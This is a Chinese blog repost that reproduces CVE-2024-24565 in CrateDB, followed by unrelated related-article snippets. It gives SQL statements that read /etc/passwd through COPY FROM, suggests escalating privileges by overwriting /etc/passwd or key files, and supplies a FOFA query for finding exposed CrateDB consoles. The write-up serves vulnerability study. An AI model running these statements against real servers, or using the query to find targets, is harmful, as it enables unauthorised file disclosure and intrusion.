CVE-2024-24565 CrateDB数据库任意文件读取漏洞

news2024/12/28 18:09:23

目录

前言

简介

​编辑

环境搭建

漏洞复现


前言

本次介绍的漏洞不同与以往, 本次洞更多是适用于利用数据库提权。

利用数据库的导入导出数据的功能,我们往往可以将内部的一些敏感文件如/etc/passwd导入到数据库进行查看。也可以将数据导入到一些特定的目录进行提权,如启动脚本任务,替换/etc/passwd,公钥文件.....,。这些都是数据库常规的提权思路,本次介绍的CrateDB就存在这样问题,除此之外它管理页面直接暴露在前端,无需身份校验。攻击者便可以直接执行sql语句。

简介

CrateDB 是一个分布式且可扩展的 SQL 数据库,用于近乎实时地存储和分析大量数据,甚至可以进行复杂的查询。它与 PostgreSQL 兼容,并且基于 Lucene。

CrateDB数据库中有一个COPYFROM函数,用于将文件数据导入到数据库表中。该功能有一个缺陷,通过身份验证的攻击者可以使用COPY FROM功能将任意文件内容导入到数据库表中,从而造成信息泄露。

官方文档参考

CrateDB Database Product Overview

Data manipulation — CrateDB: Reference

环境搭建

直接运行docker

sudo docker run --publish=4200:4200 --publish=5432:5432 --env CRATE_HEAP_SIZE=1g --pull=always crate:5.6.1

如果出现,下面的报错

[1]: max virtual memory areas vm.max_map_count [65530] is too low, increase to at least [262144] by adding vm.max_map_count = 262144 to /etc/sysctl.conf or invoking sysctl -w vm.max_map_count=262144

执行以下命令来临时修改 vm.max_map_count 的值:

sudo sysctl -w vm.max_map_count=262144

漏洞复现

打开前端管理页面

进入控制台执行sql命令

依次执行如下命令

CREATE TABLE info_leak(info_leak STRING);
COPY info_leak FROM '/etc/passwd' with (format='csv', header=false);
SELECT * FROM info_leak;

1.CREATE TABLE info_leak(info_leak STRING);

2.COPY info_leak FROM '/etc/passwd' with (format='csv', header=false);

3.SELECT * FROM info_leak;

成功查看到etc/passwd文件 漏洞验证成功。

附赠fofa语句

FOFA搜索语句

title="CrateDB"

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1461648.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

分组统计

目录 分组统计 根据部门编号分组,查询每个部门的编号、人数、平均工资 根据职位分组,统计出每个职位的人数、最低工资与最高工资 如果查询不使用 GROUP BY 子句,那么 SELECT 子句中只允许出现统计函数,其他任何字段不允许出现…

统计图雷达图绘制方法

统计图雷达图绘制方法 常用的统计图有条形图、柱形图、折线图、曲线图、饼图、环形图、扇形图。 前几类图比较容易绘制,饼图环形图绘制较难。 还有一种雷达图的绘制也较难,今提供雷达图的绘制方法供参考。 本方法采用C语言的最基本功能: &am…

Leetcode刷题笔记题解(C++):83. 删除排序链表中的重复元素

思路:链表相关的问题建议就是画图去解决,虽然理解起来很容易,但就是写代码写不出来有时候,依次去遍历第二节点如果与前一个节点相等则跳过,不相等则遍历第三个节点 /*** Definition for singly-linked list.* struct …

yolov5-tracking-xxxsort yolov5融合六种跟踪算法(二)--目标识别

本次开源计划主要针对大学生无人机相关竞赛的视觉算法开发。 开源代码仓库链接:https://github.com/zzhmx/yolov5-tracking-xxxsort.git 先按照之前的博客配置好环境: yolov5-tracking-xxxsort yolov5融合六种跟踪算法(一)–环境配…

Canvas绘制

Canvas绘制 一、介绍效果图 二、画圆1 写一个页面2 画一个圆(点)3 效果 三 画直线1 写一个页面2 画直线3 效果 四 用直线连接两个点1 写一个页面2 连线3 效果 五 画随机点1 写一个页面2 随机点3 效果 六 画随机点并连线1 写一个页面2 画点连线3 效果 七 …

GEE使用 Sentinel-1 SAR影像 和 Otsu 方法绘制洪水地图

洪水是世界上最常见、破坏性最大的自然灾害之一,造成了巨大的生命和财产损失。此外,随着气候变化的影响,近年来,洪灾变得更加频繁和不可预测。为了最大限度地减少生命和财产损失,必须迅速发现洪水蔓延的情况,并及时采取必要的干预措施。洪水蔓延探测大多使用光学传感器或…

如何批量注册多个Google账号?

电子邮件地址对于在线帐户至关重要,但它们可能被滥用于发送垃圾邮件。因此Google使用先进的算法来检测可疑的注册和验证尝试,保护用户免受垃圾邮件和其他有害活动的侵害,所以如果需要批量注册多个Google帐户,需要做好账号防关联&a…

QT 文本编辑框textBrowser接收数据保持光标在底部的方法

目录 1.实现效果2.代码 1.实现效果 2.代码 右键textBrowser加入触发信号textChanged: 双击,跳转到槽函数:(文本更改时执行该函数) void Widget::updata_textBrowser() void Widget::on_textBrowser_textChanged() {//光标移动至底部ui->…

Py之pydantic:pydantic的简介、安装、使用方法之详细攻略

Py之pydantic:pydantic的简介、安装、使用方法之详细攻略 目录 pydantic的简介 1、Pydantic V1.10 vs. V2 pydantic的安装 pydantic的使用方法 1、简单的示例 pydantic的简介 pydantic是使用Python类型提示进行数据验证。快速且可扩展,Pydantic与您…

【云原生】Docker 安全与CA证书生成

目录 容器的安全行问题 Docker 容器与虚拟机的区别 Docker 存在的安全问题 1.Docker 自身漏洞 2.Docker 源码问题 Docker 架构缺陷与安全机制 1. 容器之间的局域网攻击 2. DDoS 攻击耗尽资源 3. 有漏洞的系统调用 4. 共享root用户权限 Docker 安全基线标准 1. 内…

【UI自动化】八大元素定位方式|xpath css id name...

目录 一、基础元素定位 二、cssSelector元素定位——通过元素属性定位 三、xpath元素定位——通过路径 1 、xpath绝对定位 (用的不多) 缺点:一旦页面结构发生变化(比如重新设计时,路径少两节)&#x…

HGAME 2024 WEEK 2

hgame2024官方题解-week2.pdf Misc ek1ng_want_girlfriend 打开流量包后点击“导出对象” 打开这张图片就是flag Web What the cow say?

粉丝2000 啦,选对赛道,做正确的事情,粉丝涨到2000说明大家对我做的事情还是非常的认可的,继续坚持中,将相关资料做了视频整理

1,见证历史成长,粉丝涨到 2000 啦 2,把视频进行分类,研究xinference相关视频 【xinference】(1):在autodl上,使用xinference部署chatglm3大模型,支持函数调用&#xff0…

(一)全连接神经网络

参考资料:https://zhuanlan.zhihu.com/p/273595649 一、前向传播 1、第一层 (1)线性层 { z 1 ( 1 ) w 11 ( 1 ) ∗ x 1 w 12 ( 1 ) ∗ x 2 b 1 ( 1 ) z 2 ( 1 ) w 21 ( 1 ) ∗ x 1 w 22 ( 1 ) ∗ x 2 b 2 ( 1 ) z 3 ( 1 ) w 31 ( …

CCF-B类SGP‘24 4月10日截稿!速速行动!

会议之眼 快讯 第22届SGP(Eurographics Symposium on Geometry Processing)即欧洲图形学几何处理专题讨论会将于 2024 年 6月24 -日至26日在美国麻省理工学院举行!SGP是传播几何处理新研究想法和尖端成果的首要学术会议。作为该领域的重要学术盛事,SGP会…

IO 作业 24/2/21

1、使用多线程完成两个文件的拷贝&#xff0c;第一个线程拷贝前一半&#xff0c;第二个线程拷贝后一半&#xff0c;主线程回收两个线程的资源 #include <myhead.h> //定义分支线程1 void *task1(void *arg) {int fdr-1;//只读打开被复制文件if((fdropen("./111.txt…

sora生成高质量视频的原理

Sora是怎样生成视频的&#xff1f; 写在前面 Sora 是 OpenAI 在日前发布的超强视频生成 AI&#xff0c;旨在探索 AI 如何在理解真实世界运动和交互方面做得更好Sora目前无灰度体验 面临挑战 Sora面对的挑战就像是需要处理和理解来自世界各地、不同设备拍摄的数以百万计的图…

Java SourceDataLine 播放MP3音频 显示频谱

Java SourceDataLine 播放MP3音频 显示频谱 1 添加依赖2 快速傅里叶变换2.1 FFT.java2.2 Complex.java 3 音频播放3.1 Player.java3.1 XPlayer.java 4 显示频谱5 结果 项目Value音频格式 添加依赖*.wav(JDK 原生支持)*.pcm(JDK 原生支持)*.au(JDK 原生支持)*.aiff(JDK 原生支持…

2024 年 6 个变革性大型机预测

当今数字经济中组织的成功需要速度&#xff0c;即通过新应用程序和服务快速响应市场趋势、即时访问关键数据以及在问题影响服务之前解决问题的能力。进入新的一年&#xff0c;大型机上新兴技术的采用和适应将使企业能够拥抱不断变化的市场力量&#xff0c;并将其转化为竞争优势…

JVM对象的创建流程与内存分配

对象的创建流程与内存分配 创建流程对象内存分配方式内存分配安全问题对象内存分配流程【重要】:对象怎样才会进入老年代?重点 案例演示:对象分配过程大对象直接进入老年代02-对象内存分配的过程: 创建流程 加载 验证 解析 准备 初始化 使用 写在 对象内存分配方式 内存分配…